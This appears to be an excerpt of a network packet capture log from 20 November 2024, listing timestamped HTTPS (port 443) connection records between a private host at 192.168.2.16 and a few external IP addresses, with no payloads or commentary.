Nov 20, 2024 15:42:54.188695908 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.188800097 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.188807011 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.202828884 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.202930927 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.202939987 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.202986956 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.211432934 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.211456060 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.211520910 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.219868898 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.219888926 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.219935894 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.219944000 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.219970942 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.224430084 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.224493980 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.224502087 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.224549055 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.232789993 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.232811928 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.232891083 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.241219997 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.241301060 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.241313934 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.241360903 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.253456116 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.253549099 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.257962942 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.258059025 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.266361952 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.266448975 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.270742893 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.270831108 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.297529936 CET	443	49701	20.190.177.19	192.168.2.16
Nov 20, 2024 15:42:54.297616005 CET	49701	443	192.168.2.16	20.190.177.19
Nov 20, 2024 15:42:54.297900915 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.297979116 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.360645056 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.360810041 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.368345022 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.368432045 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.372659922 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.372811079 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.380429029 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.380527973 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.384183884 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.384253025 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.384262085 CET	443	49737	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.384311914 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.384334087 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.384355068 CET	49737	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.386648893 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.386704922 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.386794090 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.387001991 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.387012959 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.402930021 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:54.403023005 CET	443	49741	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:54.403132915 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:54.403409958 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:54.403440952 CET	443	49741	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:54.539232969 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.539299965 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:54.539422989 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.539638996 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:54.539648056 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.417891026 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.418215990 CET	49739	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.418230057 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.418504953 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.418939114 CET	49739	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.418991089 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.419126987 CET	49739	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.463329077 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.717056036 CET	443	49741	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:55.717367887 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.717392921 CET	443	49741	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:55.718822956 CET	443	49741	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:55.719001055 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.719504118 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.719525099 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.719584942 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.719635963 CET	443	49741	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:55.719703913 CET	49741	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.720014095 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.720046997 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:55.720134974 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.720314980 CET	49743	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:55.720326900 CET	443	49743	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:55.726064920 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.726414919 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.726429939 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.727596045 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.728012085 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.728081942 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.728205919 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.775327921 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.806610107 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.807043076 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.807059050 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.807569027 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.807964087 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.808034897 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.808172941 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.808228970 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.808248043 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.894607067 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.894876003 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:55.894934893 CET	49739	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.895478010 CET	49739	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:55.895490885 CET	443	49739	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.196613073 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.196665049 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.196697950 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.196734905 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.196779966 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.196815968 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.196836948 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.196836948 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.196868896 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.196891069 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.204849005 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.204936028 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.204945087 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.213826895 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.213923931 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.213965893 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.259843111 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.320027113 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.346429110 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.346563101 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.346613884 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.346631050 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.346734047 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.346792936 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.346801043 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.352382898 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.352435112 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.352448940 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.361174107 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.361247063 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.361260891 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.369834900 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.369895935 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.369914055 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.370758057 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.409094095 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.414467096 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.414583921 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.414604902 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.417777061 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.422229052 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.422322989 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.422339916 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.430274010 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.430356979 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.430375099 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.436014891 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.436101913 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.436131001 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.444032907 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.444116116 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.444130898 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.451739073 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.451807976 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.451823950 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.465537071 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.467268944 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.467335939 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.467359066 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.475208998 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.475248098 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.475271940 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.475286007 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.475332975 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.482980967 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.490995884 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.491082907 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.491092920 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.498898983 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.498950958 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.498964071 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.512769938 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.512789965 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.544789076 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.544811964 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.550843954 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.550930977 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.550960064 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.560100079 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.560138941 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.560199976 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.560225010 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.560271978 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.567843914 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.575587034 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.575633049 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.575699091 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.575716019 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.575767994 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.583868027 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.591211081 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.591286898 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.591301918 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.592781067 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.598877907 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.598953009 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.598965883 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.606559038 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.606654882 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.606667042 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.613920927 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.614010096 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.614022017 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.618763924 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.621074915 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.621120930 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.621149063 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.621160030 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.621205091 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.625752926 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.628042936 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.628117085 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.628134012 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.635327101 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.635350943 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.635354996 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.635365963 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.635397911 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.635416985 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.635432959 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.635453939 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.635464907 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.644529104 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.644584894 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.644629002 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.644639969 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.644649982 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.654252052 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.654334068 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.654342890 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.654388905 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.663306952 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.663319111 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.663394928 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.668195009 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.671159983 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.671232939 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.674815893 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.674889088 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.680758953 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.680836916 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.689481974 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.689562082 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.695616007 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.695677996 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.698883057 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.698951960 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.720870972 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.741409063 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.741509914 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.743001938 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.743089914 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.749497890 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.749597073 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.774496078 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.776791096 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.776849031 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.776868105 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.781449080 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.781548023 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.781557083 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.790344000 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.790416002 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.790425062 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.790471077 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.799345016 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.799352884 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.799555063 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.799563885 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.799766064 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.806655884 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.806663990 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.806869030 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.812192917 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.812200069 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.812274933 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.814623117 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.814692020 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.821147919 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.821221113 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.827565908 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.827649117 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.829740047 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.829811096 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.831111908 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.831173897 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.832375050 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.832456112 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.837368011 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.837435961 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.837794065 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.837856054 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.843163967 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.843241930 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.844322920 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.844404936 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.846004963 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.846076012 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.847263098 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.847332001 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.851383924 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.851458073 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.851463079 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.851572990 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.851609945 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.851617098 CET	443	49740	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.851633072 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.851669073 CET	49740	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.855268002 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.855330944 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.858594894 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.858661890 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.975261927 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.975398064 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.978087902 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.978199005 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.983498096 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.983588934 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.988694906 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.988776922 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.991364956 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.991451025 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:56.996388912 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:56.996471882 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.001513958 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.001593113 CET	49742	443	192.168.2.16	104.18.94.41
Nov 20, 2024 15:42:57.004141092 CET	443	49742	104.18.94.41	192.168.2.16
Nov 20, 2024 15:42:57.004215956 CET	49742	443	192.168.2.16	104.18.94.41
